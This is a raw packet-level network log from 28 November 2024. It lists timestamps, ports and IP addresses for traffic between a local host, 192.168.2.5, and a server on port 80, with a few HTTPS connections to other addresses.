Nov 28, 2024 06:48:35.079653025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.079730034 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.080210924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.080256939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.080323935 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.080367088 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.081099987 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.081192970 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.081238985 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.081830025 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.081885099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.081929922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.081970930 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.082640886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.082699060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.082735062 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.082778931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.083458900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.083514929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.083554983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.083594084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.084271908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.084326982 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.084362030 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.084398031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.085114002 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.085171938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.085212946 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.085258961 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.085900068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.086007118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.086019039 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.086164951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.086694956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.086740971 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.086797953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.086853981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.087528944 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.087606907 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.087639093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.087673903 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.088341951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.088387012 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.088427067 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.088558912 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.140521049 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.140588999 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.140672922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.140753031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.141077042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.141192913 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.141246080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.141710043 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.141815901 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.141817093 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.141858101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.142545938 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.142605066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.142637014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.142683983 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.143337965 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.143388033 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.143451929 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.143604994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.144192934 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.144252062 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.144337893 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.144406080 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.144987106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.145040035 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.145127058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.145164967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.145761967 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.145831108 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.145870924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.145910978 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.146606922 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.146681070 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.146743059 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.146853924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.147407055 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.147461891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.147466898 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.147589922 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.147703886 CET	49829	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:35.147731066 CET	443	49829	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:35.147851944 CET	49829	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:35.148083925 CET	49829	443	192.168.2.5	20.190.177.85
Nov 28, 2024 06:48:35.148097992 CET	443	49829	20.190.177.85	192.168.2.5
Nov 28, 2024 06:48:35.148570061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.148597956 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.148617029 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.148641109 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.149043083 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.149146080 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.149199009 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.149859905 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.149924994 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.149966955 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.150005102 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.150675058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.150765896 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.150799990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.150841951 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.151500940 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.151559114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.151640892 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.151679993 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.152270079 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.152337074 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.152369976 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.152409077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.153072119 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.153130054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.153172016 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.158045053 CET	443	49818	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.158061028 CET	443	49818	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.158124924 CET	49818	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.158142090 CET	443	49818	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.159152031 CET	49818	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.159189939 CET	443	49818	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.159296989 CET	49818	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.159620047 CET	49830	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.159637928 CET	443	49830	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.159778118 CET	49830	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.160259962 CET	49830	443	192.168.2.5	13.107.246.40
Nov 28, 2024 06:48:35.160274982 CET	443	49830	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.189124107 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.189184904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.189213991 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.189373970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.189431906 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.189481020 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.189584017 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.189631939 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.189699888 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.189743042 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.190382957 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.190459967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.190591097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.190640926 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.191200018 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.191276073 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.191307068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.191351891 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.192017078 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.192068100 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.192097902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.192143917 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.192853928 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.192934990 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.192977905 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.193655014 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.193698883 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.266607046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.266669989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.266700983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.266755104 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.267072916 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.267123938 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.267225981 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.267267942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.267796993 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.267842054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.267959118 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.268589020 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.268697977 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.268755913 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.269448996 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.269489050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.269517899 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.269586086 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.270250082 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.270297050 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.270328999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.270374060 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.271045923 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.271095037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.271105051 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.271140099 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.271899939 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.271955013 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.271985054 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.272002935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.272680044 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.272733927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.272783041 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.273520947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.273611069 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.273633003 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.273650885 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.274283886 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.274396896 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.274426937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.274441004 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.275134087 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.275182009 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.275196075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.275233030 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.275943041 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.275963068 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.276009083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.276796103 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.276870966 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.276901960 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.276945114 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.277566910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.277636051 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.277698994 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.277743101 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.278368950 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.278441906 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.278472900 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.278512001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.279186964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.279242992 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.279318094 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.279383898 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.279983997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.280031919 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.280112028 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.280154943 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.280795097 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.280853987 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.280908108 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.280950069 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.281618118 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.281672001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.281704903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.281760931 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.282413006 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.282457113 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.282517910 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.282557964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.283224106 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.283268929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.283364058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.283580065 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.284091949 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.284143925 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.284172058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.284209013 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.284847975 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.284900904 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.284956932 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.284992933 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.285672903 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.285727024 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.285777092 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.285876989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.286489964 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.286551952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.286566973 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.286603928 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.287309885 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.287373066 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.287453890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.287488937 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.288120985 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.288177967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.288249016 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.288300037 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.288976908 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.289020061 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.289032936 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.289057970 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.289746046 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.289808989 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.289839983 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.289874077 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.341932058 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.342016935 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.342058897 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.342103958 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.342259884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.342385054 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.342431068 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.343072891 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.343126059 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.343185902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.343223095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.343899012 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.343962908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.344016075 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.344057083 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.344728947 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.344786882 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.344822884 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.344865084 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.345519066 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.345567942 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.345624924 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.345680952 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.346371889 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.346432924 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.346488953 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.346544981 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.347167015 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.347208977 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.347249031 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.347332001 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.347990036 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.348057032 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.348109961 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.348156929 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.348767042 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.348817110 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.348822117 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.348874092 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.349567890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.349694967 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.349716902 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.349754095 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.350415945 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.350472927 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.350522995 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.351231098 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.351279974 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.351438999 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.351485968 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.352056026 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.352113008 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.352215052 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.352284908 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.352861881 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.352946997 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.353003025 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.353648901 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.353724957 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.353755951 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.353800058 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.354326963 CET	443	49822	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.354450941 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.354518890 CET	80	49750	185.215.113.206	192.168.2.5
Nov 28, 2024 06:48:35.354537964 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.354552031 CET	49750	80	192.168.2.5	185.215.113.206
Nov 28, 2024 06:48:35.354820013 CET	443	49821	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.354933023 CET	443	49820	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.355160952 CET	443	49819	13.107.246.40	192.168.2.5
Nov 28, 2024 06:48:35.355326891 CET	49822	443	192.168.2.5	13.107.246.40
